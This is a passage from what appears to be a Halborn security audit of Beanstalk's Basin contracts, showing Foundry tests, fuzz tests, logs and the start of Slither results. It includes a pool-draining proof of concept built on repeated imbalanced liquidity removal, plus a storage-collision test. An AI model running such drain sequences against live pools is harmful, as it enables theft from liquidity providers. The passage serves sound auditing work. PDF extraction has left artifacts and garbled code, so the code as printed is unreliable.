1165       uint256 swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn, 1, alice);

1167       priceOfYInX = (amount1 + amountIn) / (amount2 - amountIn);
1168       value = xToken.balanceOf(alice) + yToken.balanceOf(alice) * priceOfYInX;
1169       console.log("Value of X, Y in X", value);

1171       /// 1000000000000000000000000
1172       /// 950000000000000000000000

1173       // ALICE RETURN INITIAL STATE
1174       xSwapFrom(IERC20(yTokenAdd), IERC20(xTokenAdd), swap, 1, alice);

1176       // ALICE DO ADD LIQ
1177       uint256 amountA = amountIn * 2;
1178       uint256 amountB = amountA * 2;
1179       maxAmountIn = xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);

1181       uint256 amountOutA = amountIn;
1182       uint256 amountOutB = swap;
1183       amountOutB = swap + 1;
1184       tokenAmountsOut.push(amountOutA);
1185       tokenAmountsOut.push(amountOutB);
1186       console.log("Amount Out A", amountOutA);
1187       console.log("Amount Out B", amountOutB);

1189       vm.prank(alice);
1190       well.removeLiquidityImbalanced(maxAmountIn, tokenAmountsOut, alice);
1191       xRemLiq(well.balanceOf(alice), 1, 1, address(alice));

1193       priceOfYInX = (amount1 + amountIn) / (amount2 - amountIn);
1194       value = xToken.balanceOf(alice) + yToken.balanceOf(alice) * priceOfYInX;
1195       console.log("Value of X, Y in X", value);

1197       logTokenComplexBalances();
1198   }
}

```

```
----  
1262     function testDrainPool4RemoveImbalance() public {  
1263         amount1 = 10000;  
1264         amount2 = 20000;  
1265         lpAmountOut = 1;  
1266         xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);  
1267  
1268         // ADD LIQ  
1269         uint256 amountA = 100;  
1270         uint256 amountB = 200;  
1271         xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);  
1272  
1273         // RMV IMB  
1274         tokenAmountsOut.push(50);  
1275         tokenAmountsOut.push(299);  
1276         logTokenComplexBalances();  
1277         uint256 wellBalance = well.balanceOf(alice);  
1278         vm.prank(alice);  
1279         well.removeLiquidityImbalanced(wellBalance, tokenAmountsOut, alice);  
1280  
1281         // ADD LIQ  
1282         amountA = 50;  
1283         amountB = 299;  
1284         xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);  
1285  
1286         // RMV IMB  
1287         tokenAmountsOut.push(100);  
1288         tokenAmountsOut.push(199);  
1289         logTokenComplexBalances();  
1290         wellBalance = well.balanceOf(alice);  
1291         vm.prank(alice);  
1292         well.removeLiquidityImbalanced(wellBalance, tokenAmountsOut, alice);  
1293  
1294         /// 2  
1295         console.log("2222222222");  
1296  
1297         // ADD LIQ  
1298         amountA = 100;  
1299         amountB = 200;  
1300         xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);  
1301  
1302         // RMV IMB  
1303         tokenAmountsOut.push(50);  
1304         tokenAmountsOut.push(299);  
1305         logTokenComplexBalances();  
1306         wellBalance = well.balanceOf(alice);  
1307         vm.prank(alice);  
1308         well.removeLiquidityImbalanced(wellBalance, tokenAmountsOut, alice);  
1309  
1310         // ADD LIQ  
1311         amountA = 50;  
1312         amountB = 299;  
1313         xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);  
1314  
1315         // RMV IMB  
1316         tokenAmountsOut.push(100);  
1317         tokenAmountsOut.push(199);  
1318         logTokenComplexBalances();  
1319         wellBalance = well.balanceOf(alice);  
1320         vm.prank(alice);  
1321         well.removeLiquidityImbalanced(wellBalance, tokenAmountsOut, alice);  
1322  
1323         console.log("3333333333");  
1324  
1325         /// 3  
1326         xRemLiq(well.balanceOf(liqPr), 1, 1, address(liqPr));  
1327         logTokenComplexBalances();  
1328     }  
1329 }
```

## 5.3 Pumps Environment

Two files have been developed to carry out the manual and fuzzing tests, one dedicated to analyze some functions atomically `HalbornPumpsIsolated`, and the other to carry out tests that involve integration with the Basin `HalbornPumpWellsIntegration`.

### Deployment Script:

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity ^0.8.17;
3
4 import {Test, console, stdError} from "forge-std/Test.sol";
5 import {Well, Call, IERC20} from "src/Well.sol";
6 import {Aquifer} from "src/Aquifer.sol";
7 import {ConstantProduct2} from "src/functions/ConstantProduct2.sol";
8 import {IWELLfunction} from "src/interfaces/IWellFunction.sol";
9 import {GeoEmaAndCumSmaPump} from "src/pumps/GeoEmaAndCumSmaPump.sol";
10 import {LibContractInfo} from "src/libraries/LibContractInfo.sol";
11 import {Users} from "test/helpers/Users.sol";
12 import {TestHelper, Balances} from "test/TestHelper.sol";
13 import {from18, to18} from "test/pumps/PumpHelpers.sol";
14
15 UnitTest stub | dependencies | uml | draw.io
contract HalbornPumpWellsIntegration is TestHelper {
    using LibContractInfo for address;
16
17
18    address xToken;
19    address yToken;
20
21    address internal userTest1;
22
23    uint[] internal reservesTest1;
24    uint[] internal reservesTest2;
25
26    address internal wellAddress;
27
28    uint[] internal lastRes;
29    uint[] internal lastInstRes;
30    uint[] internal instRes;
31    bytes16[] internal lastCumRes;
32    bytes16[] internal cumRes;
33
34    uint constant TIME_PER_BLOCK = 12;
35
36    GeoEmaAndCumSmaPump internal thePump;
37    bytes internal pumpData;
38}
```

```

39   ftrace | funcSig
40   function setUp() public {
41     userTest1 = vm.addr(0xAA);
42
43     tokens = deployMockTokens(2);
44     xToken = address(tokens[0]);
45     xToken = address(tokens[1]);
46
47     wellImplementation = address(new Well());
48
49     well = t_setupWell(tokens, Well(wellImplementation));
50
51     wellAddress = address(well);
52
53     Call memory _pump = well.firstPump();
54
55     thePump = GeoEmaAndCumSmaPump(_pump.target);
56     pumpData = _pump.data;
57
58     uint[] memory reserves = thePump.readLastReserves(address(well));
59
60   }
61
62
63 pragma solidity ^0.8.17;
64 import {Test} from "forge-std/Test.sol";
65 import {GeoEmaAndCumSmaPump, ABDKMathQuad, LibBytes16, LibLastReserveBytes} from "src/pumps/GeoEmaAndCumSmaPump.sol";
66 import "./pumps/PumpHelpers.sol";
67 UnitTest stub | dependencies | uml | drawio
68 contract HalbornPumpIsolated is Test, GeoEmaAndCumSmaPump {
69   using ABDKMathQuad for bytes16;
70   uint[] internal reservesTest1;
71   uint[] internal reservesTest2;
72   address internal well;
73   address internal collision1;
74   address internal collision2;
75   GeoEmaAndCumSmaPump internal pump;
76   uint constant NUM_RESERVES_MAX = 8;
77   bytes32 constant RESERVES_STORAGE_SLOT = keccak256("reserves.storage.slot");
78   ftrace
79
80   constructor() {
81     GeoEmaAndCumSmaPump(
82       from18(0.5e18), // cap reserves if changed +/- 50% per block
83       from18(0.5e18), // cap reserves if changed +/- 50% per block
84       12, // EVM block time
85       from18(0.999445987e18) // geometric EMA constant
86     )
87   }
88
89   ftrace | funcSig
90   function setUp() public {
91     well = vm.addr(0xAA);
92     collision1 = address(0x0000000000000000000000000000000000000000000000000000000000000009);
93     collision2 = address(0x0000000000000000000000000000000000000000000000000000000000000009);
94
95     pump = GeoEmaAndCumSmaPump(address(this));
96     for (uint i = 1; i <= 1000; ++i) {
97       reservesTest1.push(21e18);
98     }
99     reservesTest2.push(10e18);
100    reservesTest2.push(11e18);
101  }
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
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126
127
128
129
130
131
132
133
134
135

```

## Helper Functions:

For the helper functions, both custom functions along with those developed by the Beanstalk developers themselves have been used.

```

1324 // -----
1325 // ##### HELPER FUNCTIONS #####
1326 // -----
1327
1328 ftrace | funcSig
1329 function t_setupWell(IERC20[] memory _tokens↑, Well _well↑) internal returns (Well) {
1330     Call[] memory _pumps = new Call[](1);
1331     _pumps[0] = Call(
1332         address(new GeoEmaAndCumSmaPump(from18(0.5e18), from18(0.5e18), 12, from18(0.9994445987e18))),
1333         new bytes(0)
1334     );
1335     return setupWell(_tokens↑, Call(address(new ConstantProduct2())), new bytes(0), _pumps, _well↑);
1336 }
1337
1338 ftrace | funcSig
1339 function setupWell(
1340     IERC20[] memory _tokens↑,
1341     Call memory _function↑,
1342     Call[] memory _pumps↑,
1343     Well _well↑
1344 ) internal returns (Well) {
1345     wellFunction = _function↑;
1346     initUser();
1347     wellImplementation = deployWellImplementation();
1348     aquifer = new Aquifer();
1349
1350     _well↑ = encodeAndBoreWell(address(aquifer), wellImplementation, _tokens↑, wellFunction, _pumps↑, bytes32(0));
1351
1352     // Mint mock tokens to user
1353     mintTokens(_tokens↑, user, initialLiquidity);
1354     mintTokens(_tokens↑, user2, initialLiquidity);
1355
1356     approveMaxTokens(_tokens↑, user, address(_well↑));
1357     approveMaxTokens(_tokens↑, user2, address(_well↑));
1358
1359     // Mint mock tokens to TestHelper
1360     mintTokens(_tokens↑, address(this), initialLiquidity * 5);
1361     approveMaxTokens(_tokens↑, address(this), address(_well↑));
1362
1363     // Add initial liquidity from TestHelper
1364     addLiquidityEqualAmount(_tokens↑, address(this), initialLiquidity, Well(_well↑));
1365
1366     return _well↑;
1367 }
```

## 5.4 Significant Manual Tests for Pumps

```

194     function testReadLastReservesChangingUpNDownN() public {
195         vm.startPrank(wellAddress);
196
197         reservesTest1.push(1e18);
198         reservesTest1.push(1e18);
199
200         vm.warp(block.timestamp + 10);
201         thePump.update(reservesTest1, pumpData);
202         lastRes = thePump.readLastReserves(wellAddress);
203
204         _consoleLogReserves(2, true, false, false, false, false);
205
206         reservesTest1[0] = 2e18;
207         reservesTest1[1] = 2e18;
208
209         vm.warp(block.timestamp + 1000);
210         thePump.update(reservesTest1, pumpData);
211         lastRes = thePump.readLastReserves(wellAddress);
212
213         _consoleLogReserves(2, true, false, false, false, false);
214
215         reservesTest1[0] = 3e18;
216         reservesTest1[1] = 3e18;
217
218         vm.warp(block.timestamp + 1000);
219         thePump.update(reservesTest1, pumpData);
220         lastRes = thePump.readLastReserves(wellAddress);
221
222         _consoleLogReserves(2, true, false, false, false, false);
223
224         reservesTest1[0] = 3e18;
225         reservesTest1[1] = 3e18;
226
227         vm.warp(block.timestamp + 1000);
228         console.log("10 DAYS LATER");
229         thePump.update(reservesTest1, pumpData);
230         lastRes = thePump.readLastReserves(wellAddress);
231
232         _consoleLogReserves(2, true, false, false, false, false);
233
234         reservesTest1[0] = 444e10;
235         reservesTest1[1] = 444e10;
236
237         vm.warp(block.timestamp + 1000);
238         thePump.update(reservesTest1, pumpData);
239         lastRes = thePump.readLastReserves(wellAddress);
240
241         _consoleLogReserves(2, true, false, false, false, false);
242
243     }
244 }
```

[PASS] testReadLastReservesChangingUpNDownN() (gas: 599801)

Logs:

```

LAST RESERVES      1
LAST RESERVES      1
-----
LAST RESERVES    412643018438003
LAST RESERVES    412643018438003
-----
LAST RESERVES    299999999999999999
LAST RESERVES    299999999999999999
-----
10 DAYS LATER
LAST RESERVES    299999999999999999
LAST RESERVES    299999999999999999
-----
LAST RESERVES    44399999999999
LAST RESERVES    44399999999999
```

```
246 // READ LAST RESERVES IN INITIAL STAGES (CAPPING)
247 trace|funcSig
248 function testReadLastReservesInitialStages() public {
249     vm.startPrank(wellAddress);
250
251     reservesTest1.push(1e18);
252     reservesTest1.push(1e18);
253
254     vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
255     thePump.update(reservesTest1, pumpData);
256     lastRes = thePump.readLastReserves(wellAddress);
257
258     _consoleLogReserves(2, true, false, false, false, false);
259
260     reservesTest1[0] = 2e18;
261     reservesTest1[1] = 2e18;
262
263     vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
264     thePump.update(reservesTest1, pumpData);
265     lastRes = thePump.readLastReserves(wellAddress);
266
267     _consoleLogReserves(2, true, false, false, false, false);
268
269     reservesTest1[0] = 3e18;
270     reservesTest1[1] = 3e18;
271
272     vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
273     thePump.update(reservesTest1, pumpData);
274     lastRes = thePump.readLastReserves(wellAddress);
275
276     _consoleLogReserves(2, true, false, false, false, false);
277
278     reservesTest1[0] = 3e18;
279     reservesTest1[1] = 3e18;
280
281     vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
282     thePump.update(reservesTest1, pumpData);
283     lastRes = thePump.readLastReserves(wellAddress);
284
285     _consoleLogReserves(2, true, false, false, false, false);
286
287     vm.stopPrank();
288 }
```

[PASS] testReadLastReservesInitialStages() (gas: 518588)

Logs:

```
LAST RESERVES      57
LAST RESERVES      57
-----
LAST RESERVES      3325
LAST RESERVES      3325
-----
LAST RESERVES      191751
LAST RESERVES      191751
-----
LAST RESERVES      11057332
LAST RESERVES      11057332
```

```
1070
1071     function testReadLastCumulativeReservesSimple() public {
1072         uint x = 10e18;
1073         uint y = 2e18;
1074
1075         vm.startPrank(wellAddress);
1076
1077         reservesTest1.push(1e18);
1078         reservesTest1.push(1e18);
1079
1080         vm.warp(block.timestamp);
1081
1082         thePump.update(reservesTest1, pumpData);
1083
1084         lastRes = thePump.readLastReserves(wellAddress);
1085         lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
1086         instRes = thePump.readInstantaneousReserves(wellAddress);
1087         lastCumRes = thePump.readLastCumulativeReserves(wellAddress);
1088
1089         console.log("-----");
1090         console.log("LAST RESERVES    ", lastRes[0]);
1091         console.log("LAST RESERVES    ", lastRes[1]);
1092         console.log("LAST INST RESERVES ", lastInstRes[0]);
1093         console.log("LAST INST RESERVES ", lastInstRes[1]);
1094         console.log("INST RESERVES   ", instRes[0]);
1095         console.log("INST RESERVES   ", instRes[1]);
1096         console.log(uint128(lastCumRes[0]));
1097         console.log(uint128(lastCumRes[1]));
1098         console.log("-----");
1099
1100         reservesTest1[0] = 2e18;
1101         reservesTest1[1] = 2e18;
1102
1103         vm.warp(block.timestamp + 10 days);
1104
1105         thePump.update(reservesTest1, pumpData);
1106
1107         lastRes = thePump.readLastReserves(wellAddress);
1108         lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
1109         instRes = thePump.readInstantaneousReserves(wellAddress);
1110         lastCumRes = thePump.readLastCumulativeReserves(wellAddress);
```

```

1111
1112
1113
1114
1115
1116
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1119
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1121
1122
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1124
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1128
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1170

    console.log("-----");
    console.log("LAST RESERVES      ", lastRes[0]);
    console.log("LAST RESERVES      ", lastRes[1]);
    console.log("LAST INST RESERVES ", lastInstRes[0]);
    console.log("LAST INST RESERVES ", lastInstRes[1]);
    console.log("INST RESERVES      ", instRes[0]);
    console.log("INST RESERVES      ", instRes[1]);
    console.log(uint128(lastCumRes[0]));
    console.log(uint128(lastCumRes[1]));
    console.log("-----");

    reservesTest1[0] = 3e18;
    reservesTest1[1] = 3e18;

    vm.warp(block.timestamp + 1000 days);

    thePump.update(reservesTest1, pumpData);

    lastRes = thePump.readLastReserves(wellAddress);
    lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
    instRes = thePump.readInstantaneousReserves(wellAddress);
    lastCumRes = thePump.readLastCumulativeReserves(wellAddress);

    console.log("-----");
    console.log("LAST RESERVES      ", lastRes[0]);
    console.log("LAST RESERVES      ", lastRes[1]);
    console.log("LAST INST RESERVES ", lastInstRes[0]);
    console.log("LAST INST RESERVES ", lastInstRes[1]);
    console.log("INST RESERVES      ", instRes[0]);
    console.log("INST RESERVES      ", instRes[1]);
    console.log(uint128(lastCumRes[0]));
    console.log(uint128(lastCumRes[1]));
    console.log("-----");

    reservesTest1[0] = 3e18;
    reservesTest1[1] = 3e18;

    vm.warp(block.timestamp + 100 days);

    thePump.update(reservesTest1, pumpData);

    lastRes = thePump.readLastReserves(wellAddress);
    lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
    instRes = thePump.readInstantaneousReserves(wellAddress);
    lastCumRes = thePump.readLastCumulativeReserves(wellAddress);

    console.log("-----");
    console.log("LAST RESERVES      ", lastRes[0]);
    console.log("LAST RESERVES      ", lastRes[1]);
    console.log("LAST INST RESERVES ", lastInstRes[0]);
    console.log("LAST INST RESERVES ", lastInstRes[1]);
    console.log("INST RESERVES      ", instRes[0]);
    console.log("INST RESERVES      ", instRes[1]);
    console.log(uint128(lastCumRes[0]));
    console.log(uint128(lastCumRes[1]));
    console.log("-----");

    vm.stopPrank();
}

```

```
[PASSED] testReadLastCumulativeReservesSimple() (gas: 1030902)
Logs:
-----
LAST RESERVES      1
LAST RESERVES      1
LAST INST RESERVES 1
LAST INST RESERVES 1
INST RESERVES      1
INST RESERVES      1
0
-----
LAST RESERVES      19999999999999999999
LAST RESERVES      19999999999999999999
LAST INST RESERVES 19999999999999999999
LAST INST RESERVES 19999999999999999999
INST RESERVES      19999999999999999999
INST RESERVES      19999999999999999999
85198142659621143730057717115026094442
85198142659621143730057717115026094442
-----
LAST RESERVES      29999999999999999999
LAST RESERVES      29999999999999999999
LAST INST RESERVES 29999999999999999999
LAST INST RESERVES 29999999999999999999
INST RESERVES      29999999999999999999
INST RESERVES      29999999999999999999
8523283531620934448653842735933390182
8523283531620934448653842735933390182
-----
LAST RESERVES      29999999999999999999
LAST RESERVES      29999999999999999999
LAST INST RESERVES 29999999999999999999
LAST INST RESERVES 29999999999999999999
INST RESERVES      29999999999999999999
INST RESERVES      29999999999999999999
INST RESERVES      29999999999999999999
INST RESERVES      29999999999999999999
85233476434164555396839303253618682392
85233476434164555396839303253618682392
-----

101    function test_2storeAndReadBytes16() public {
102        bytes16[] memory reserves = new bytes16[](2);
103
104        reserves[0] = 0x00000000000000000000000000000000123;
105        reserves[1] = 0x000000000000000000000000000000000456;
106
107        LibBytes16.storeBytes16(RESERVES_STORAGE_SLOT, reserves);
108        bytes32 slot = RESERVES_STORAGE_SLOT;
109        bytes32 test;
110        assembly {
111            | test := sload(slot)
112        }
113        console.logBytes32(test);
114        assembly {
115            | test := sload(add(slot, 32))
116        }
117        console.logBytes32(test);
118        // Re-read reserves and compare
119        bytes16[] memory reserves2 = LibBytes16.readBytes16(RESERVES_STORAGE_SLOT, reserves.length);
120        for (uint i = 0; i < reserves2.length; i++) {
121            console.log(i);
122            console.logBytes32(reserves[i]);
123            console.logBytes32(reserves2[i]);
124            assertEquals(reserves2[i], reserves[i], "ByteStorage: reserves mismatch");
125        }
126    }
[PASSED] test_3storeAndReadBytes16() (gas: 57750)
Logs:
0x00000000000000000000000000000000123000000000000000000000000000000456
0x000000000000000000000000000000000789000000000000000000000000000000000000
0
0x0000000000000000000000000000000012300000000000000000000000000000000000000000
0x0000000000000000000000000000000012300000000000000000000000000000000000000000
1
0x0000000000000000000000000000000045600000000000000000000000000000000000000000
0x0000000000000000000000000000000045600000000000000000000000000000000000000000
2
0x0000000000000000000000000000000007890000000000000000000000000000000000000000
0x0000000000000000000000000000000007890000000000000000000000000000000000000000
```



```

209     function test_storageCollision1() public {
210         console.logBytes32(getSlotForAddress(collision1));
211         console.logBytes32(getSlotForAddress(collision2));
212         vm.startPrank(collision2);
213         pump.update(reservesTest2, new bytes(0));
214         uint[] memory reservesInternal1 = pump.readLastReserves(collision2);
215         // console.log("Well reserve 0 from oracle --> ", reservesInternal1[0]);
216         // console.log("Well reserve 1 from oracle --> ", reservesInternal1[1]);
217         vm.stopPrank();
218         vm.startPrank(collision1);
219         pump.update(reservesTest1, new bytes(0));
220         uint[] memory reservesInternal2 = pump.readLastReserves(collision1);
221         // console.log("Well reserve 0 from oracle --> ", reservesInternal2[0]);
222         // console.log("Well reserve 1 from oracle --> ", reservesInternal2[1]);
223         vm.stopPrank();
224         reservesInternal1 = pump.readLastReserves(collision1);
225         console.log("collision1 reserve 0 from oracle --> ", reservesInternal1[0]);
226         console.log("collision1 reserve 1 from oracle --> ", reservesInternal1[1]);
227         reservesInternal2 = pump.readLastReserves(collision2);
228         console.log("collision2 reserve 0 from oracle --> ", reservesInternal2[0]);
229         console.log("collision2 reserve 1 from oracle --> ", reservesInternal2[1]);
230     }
231     ftrace | funcSig
232     function test_storageCollisionMoreTokens() public {
233         console.logBytes32(getSlotForAddress(collision1));
234         console.logBytes32(getSlotForAddress(collision2));
235         vm.startPrank(collision2);
236         pump.update(reservesTest2, new bytes(0));
237         uint[] memory reservesInternal1 = pump.readLastReserves(collision2);
238         // console.log("Well reserve 0 from oracle --> ", reservesInternal1[0]);
239         // console.log("Well reserve 1 from oracle --> ", reservesInternal1[1]);
240         vm.stopPrank();
241         vm.startPrank(collision1);
242         pump.update(reservesTest1, new bytes(0));
243         uint[] memory reservesInternal2 = pump.readLastReserves(collision1);
244         // console.log("Well reserve 0 from oracle --> ", reservesInternal2[0]);
245         // console.log("Well reserve 1 from oracle --> ", reservesInternal2[1]);
246         vm.stopPrank();
247         reservesInternal1 = pump.readLastReserves(collision1);
248         console.log("collision1 reserve 0 from oracle --> ", reservesInternal1[0]);
249         console.log("collision1 reserve 1 from oracle --> ", reservesInternal1[1]);
250         reservesInternal2 = pump.readLastReserves(collision2);
251         console.log("collision2 reserve 0 from oracle --> ", reservesInternal2[0]);
252         console.log("collision2 reserve 1 from oracle --> ", reservesInternal2[1]);
253     }
254 }
[PAS] test_storageCollision1() (gas: 35063624)
Logs:
0x0000000000000000000000000000000000000000000000000000000000000000
0x0000000000000000000000000000000000000000000000000000000000000000
collision1 reserve 0 from oracle --> 20999999999999999999
collision1 reserve 1 from oracle --> 20999999999999999999
collision2 reserve 0 from oracle --> 99999999999999999999
collision2 reserve 1 from oracle --> 10999999999999999999

[PAS] test_storageCollisionMoreTokens() (gas: 35063624)
Logs:
0x0000000000000000000000000000000000000000000000000000000000000000
0x0000000000000000000000000000000000000000000000000000000000000000
collision1 reserve 0 from oracle --> 20999999999999999999
collision1 reserve 1 from oracle --> 20999999999999999999
collision2 reserve 0 from oracle --> 99999999999999999999
collision2 reserve 1 from oracle --> 10999999999999999999

```

```
36     function testEmaFuzz_1storeAndRead()
37   } public {
38     uint256 n = 2;
39     uint256 lastTimestamp = block.timestamp;
40     bytes16[] memory reserves = new bytes16[](2);
41
42     reserves[0] = bytes16(0x00000000000000000000000000000000123) <> 24;
43     reserves[1] = bytes16(0x000000000000000000000000000000000456) <> 24;
44     // reserves[i] = bytes16(_reserves[i]) <> 24;
45     LibLastReserveBytes.storeLastReserves(RESERVES_STORAGE_SLOT, uint40(lastTimestamp), reserves);
46     (uint8 _n, uint40 _lastTimestamp, bytes16[] memory reserves2) = LibLastReserveBytes.readLastReserves(RESERVES_STORAGE_SLOT);
47     uint8 __n = LibLastReserveBytes.readN(RESERVES_STORAGE_SLOT);
48     assertEquals(__n, n, "ByteStorage: n mismatch");
49     assertEquals(__n, n, "ByteStorage: n mismatch");
50     assertEquals(_lastTimestamp, lastTimestamp, "ByteStorage: lastTimestamp mismatch");
51     for (uint i = 0; i < reserves2.length; i++) {
52       console.logBytes32(reserves[i]);
53       console.logBytes32(reserves2[i]);
54       assertEquals(reserves2[i], reserves[i], "ByteStorage: reserves mismatch");
55     }
56   }
```

## 5.5 Significant Fuzzing Tests for Pumps

```

79   function testEmaFuzz_storeAndRead(
80     uint8 n↑,
81     uint40 lastTimestamp↑,
82     bytes13[NUM_RESERVES_MAX] memory _reserves↑
83   ) public {
84     VM.assume(n↑ <= NUM_RESERVES_MAX);
85     // Use the first `n` reserves. Cast uint104 reserves -> uint256
86     bytes16[] memory reserves = new bytes16[](n↑);
87     for (uint i = 0; i < n↑; i++) {
88       reserves[i] = bytes16(_reserves↑[i]) << 24;
89     }
90     LibLastReserveBytes.storeLastReserves(RESERVES_STORAGE_SLOT, lastTimestamp↑, reserves);
91     // Re-read reserves and compare
92     (uint8 _n, uint40 _lastTimestamp, bytes16[] memory reserves2) = LibLastReserveBytes.readLastReserves(RESERVES_STORAGE_SLOT);
93     uint8 _n = LibLastReserveBytes.readN(RESERVES_STORAGE_SLOT);
94     assertEq(_n, n↑, "ByteStorage: n mismatch");
95     assertEq(_n, n↑, "ByteStorage: n mismatch");
96     assertEq(_lastTimestamp, lastTimestamp↑, "ByteStorage: lastTimestamp mismatch");
97     for (uint i = 0; i < reserves2.length; i++) {
98       assertEq(reserves2[i], reserves[i], "ByteStorage: reserves mismatch");
99     }
100   }
101
102   ...
103
104   function testFuzz_storeAndReadBytes16(uint n↑, bytes16[8] memory _reserves↑) public {
105     VM.assume(n↑ <= NUM_RESERVES_MAX);
106     // Use the first `n` reserves. Cast uint128 reserves -> uint256
107     bytes16[] memory reserves = new bytes16[](n↑);
108     for (uint i = 0; i < n↑; i++) {
109       reserves[i] = _reserves↑[i];
110     }
111     LibBytes16.storeBytes16(RESERVES_STORAGE_SLOT, reserves);
112     bytes32 slot = RESERVES_STORAGE_SLOT;
113     bytes32 test;
114     assembly {
115       test := sload(slot)
116     }
117     console.logBytes32(test);
118     assembly {
119       test := sload(add(slot, 32))
120     }
121     console.logBytes32(test);
122     // Re-read reserves and compare
123     bytes16[] memory reserves2 = LibBytes16.readBytes16(RESERVES_STORAGE_SLOT, n↑);
124     for (uint i = 0; i < reserves2.length; i++) {
125       console.log(i);
126       assertEq(reserves2[i], reserves[i], "ByteStorage: reserves mismatch");
127     }
128   }

```

```

318   // FUZZING READ LAST RESERVES CHANGING VALUES
319   ftrace | funcSig
320   function testReadLastReservesChangingFUZZZZ(uint x↑, uint y↑) public {
321     if (x↑ > 5 && x↑ < 100_000_000e18 && y↑ > 5 && y↑ < 100_000_000e18){
322       vm.startPrank(wellAddress);
323
324       reservesTest1.push(x↑);
325       reservesTest1.push(y↑);
326
327       vm.warp(block.timestamp + 10 days);
328       thePump.update(reservesTest1, pumpData);
329       lastRes = thePump.readLastReserves(wellAddress);
330
331       assertApproxEqAbs(lastRes[0], x↑, 1e6);
332       assertApproxEqAbs(lastRes[1], y↑, 1e6);
333
334       x↑ = x↑ * 2;
335       y↑ = y↑ * 5;
336
337       reservesTest1[0] = x↑;
338       reservesTest1[1] = y↑;
339
340       vm.warp(block.timestamp + 10 days);
341       thePump.update(reservesTest1, pumpData);
342       lastRes = thePump.readLastReserves(wellAddress);
343
344       assertApproxEqAbs(lastRes[0], x↑, 1e6);
345       assertApproxEqAbs(lastRes[1], y↑, 1e6);
346
347       x↑ = x↑ + 8782772;
348       y↑ = y↑ + 356173;
349
350       reservesTest1[0] = x↑;
351       reservesTest1[1] = y↑;
352
353       vm.warp(block.timestamp + 10 days);
354       thePump.update(reservesTest1, pumpData);
355       lastRes = thePump.readLastReserves(wellAddress);
356
357       assertApproxEqAbs(lastRes[0], x↑, 1e6);
358       assertApproxEqAbs(lastRes[1], y↑, 1e6);
359
360       x↑ = 1000 + y↑;
361       y↑ = 1000 + x↑;
362
363       reservesTest1[0] = x↑;
364       reservesTest1[1] = y↑;
365
366       vm.warp(block.timestamp + 10 days);
367       thePump.update(reservesTest1, pumpData);
368       lastRes = thePump.readLastReserves(wellAddress);
369
370       assertApproxEqAbs(lastRes[0], x↑, 1e6);
371       assertApproxEqAbs(lastRes[1], y↑, 1e6);
372
373       x↑ = x↑ + 300000 - y↑;
374       y↑ = y↑ + 3000 - x↑;
375
376       reservesTest1[0] = x↑;
377       reservesTest1[1] = y↑;
378
379       vm.warp(block.timestamp + 10 days);
380       thePump.update(reservesTest1, pumpData);
381       lastRes = thePump.readLastReserves(wellAddress);
382
383       assertApproxEqAbs(lastRes[0], x↑, 1e6);
384       assertApproxEqAbs(lastRes[1], y↑, 1e6);
385
386     }
387   }

```

```
737     function testReadLastInstReservesChangingFUZZZ(uint x↑, uint y↑) public {
738         if (x↑ > 5 && x↑ < 100_000_000e18 && y↑ > 5 && y↑ < 100_000_000e18){
739             vm.startPrank(wellAddress);
740
741             reservesTest1.push(x↑);
742             reservesTest1.push(y↑);
743
744             vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
745             thePump.update(reservesTest1, pumpData);
746             lastRes = thePump.readLastReserves(wellAddress);
747             lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
748
749             uint x1 = x↑ * 2;
750             uint y1 = y↑ * 5;
751
752             reservesTest1[0] = x1;
753             reservesTest1[1] = y1;
754
755             vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
756             thePump.update(reservesTest1, pumpData);
757             lastRes = thePump.readLastReserves(wellAddress);
758             lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
759
760             _consoleLogReserves(2, true, true, false, false, false);
761
762             if (x1 > x↑) { assertGe(lastRes[0], lastInstRes[0]); }
763             else { assertGe(lastInstRes[0], lastRes[0]); }
764             if (y1 > y↑) { assertGe(lastRes[1], lastInstRes[1]); }
765             else { assertGe(lastInstRes[1], lastRes[1]); }
766
767             uint x2 = 20000;
768             uint y2 = 1000 + x↑;
769
770             reservesTest1[0] = x2;
771             reservesTest1[1] = y2;
772
773             vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
774             thePump.update(reservesTest1, pumpData);
775             lastRes = thePump.readLastReserves(wellAddress);
776             lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
777
778             _consoleLogReserves(2, true, true, false, false, false);
779
780             if (x1 > x↑) { assertGe(lastRes[0], lastInstRes[0]); }
781             else { assertGe(lastInstRes[0], lastRes[0]); }
782             if (y1 > y↑) { assertGe(lastRes[1], lastInstRes[1]); }
783             else { assertGe(lastInstRes[1], lastRes[1]); }
784
785             vm.stopPrank();
786     }
```

# AUTOMATED TESTING

## 6.1 STATIC ANALYSIS REPORT

### Description:

Halborn used automated testing techniques to enhance the coverage of certain areas of the scoped contracts. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified all the contracts in the repository and was able to compile them correctly into their ABI and binary formats, Slither was run on the all-scoped contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' ABIs across the entire code-base.

## Slither Results:

- Well.sol

```

Math.mulDiv(uint256,uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#55-135) performs a mul
  - denominator = denominator / twos (lib/openzeppelin-contracts/contracts/utils/math/Math.sol#102)
